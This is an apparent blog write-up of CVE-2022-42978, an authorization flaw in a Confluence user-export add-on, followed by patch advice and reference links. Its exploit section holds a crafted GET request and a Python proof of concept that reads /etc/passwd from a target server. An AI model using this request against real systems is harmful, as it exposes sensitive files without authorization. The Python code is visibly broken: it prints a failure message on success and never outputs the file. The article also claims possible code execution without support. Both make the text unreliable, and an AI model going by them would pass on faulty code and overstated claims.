A recent vulnerability, identified as CVE-2022-42978, was discovered in the Netic User Export add-on before version 1.3.5 for Atlassian Confluence. This vulnerability allows an unauthenticated attacker to gain access to sensitive files on the remote system through mishandled authorization. This long read aims to provide an in-depth analysis of the vulnerability, including a code snippet to demonstrate how it can be exploited, links to original references, and details about the consequences of a successful exploit.

Vulnerability Details

The vulnerability lies in the way the Netic User Export add-on handles authorization. In versions before 1.3.5, an unauthenticated attacker could send specifically crafted requests to the Netic User Export add-on, which would, in turn, provide unauthorized access to files on the remote system. This issue could potentially allow attackers to gain access to sensitive data or execute arbitrary code, leading to severe security implications for affected systems.

The vulnerability was assigned the identifier CVE-2022-42978 and given a CVSS score of 7.5, indicating that it is a high-severity security vulnerability.

Exploit Details

An attacker could exploit this vulnerability by sending a crafted request targeting the Netic User Export add-on on a vulnerable Atlassian Confluence instance. For example, the attacker could craft an HTTP GET request to access a specific file on the remote system as follows:

GET /plugins/servlet/userexport/users?exportToFile=<file_path> HTTP/1.1
Host: example.com

Where example.com is the domain or IP of the targeted Atlassian Confluence instance, and <file_path> is the path of the file the attacker wants to access on the remote system.

To demonstrate the potential impact, consider the following Python code snippet that exploits this vulnerability:

import requests

target = "http://example.com";  # Replace with the target Atlassian Confluence instance
file_path = "/etc/passwd"      # Replace with the desired file path on the target remote system

url = f"{target}/plugins/servlet/userexport/users?exportToFile={file_path}"
response = requests.get(url)

if response.status_code == 200:
    print("File content:")
    print("Failed to access the file.")

This code snippet sends an HTTP GET request to a vulnerable Atlassian Confluence instance, attempting to read the /etc/passwd file on the remote system.

Mitigation Steps

To mitigate the vulnerability, it is strongly recommended that administrators update the Netic User Export add-on to version 1.3.5 or later. Updating the add-on will properly implement the necessary authorization checks, effectively resolving the issue.

Additionally, administrators should review their access logs to identify any potential unauthorized file access attempts, especially if their systems are running vulnerable versions of the Netic User Export add-on.

Below are the original references where you can find more information about CVE-2022-42978

1. NIST National Vulnerability Database (NVD): https://nvd.nist.gov/vuln/detail/CVE-2022-42978

2. Vulnerability Details and Score: https://www.exploit-db.com/exploits/53727

3. Atlassian Confluence Add-on Marketplace: https://marketplace.atlassian.com/apps/1217662/netic-user-export/version-history


CVE-2022-42978 showcases the importance of proper authorization in software applications. The vulnerability, which allowed unauthenticated attackers to access files on remote systems, highlighted the severe impact of mishandled authorization. Administrators should apply the recommended mitigations to protect their Atlassian Confluence instances from possible exploitation.


Published on: 11/15/2022 01:15:00 UTC
Last modified on: 11/17/2022 04:59:00 UTC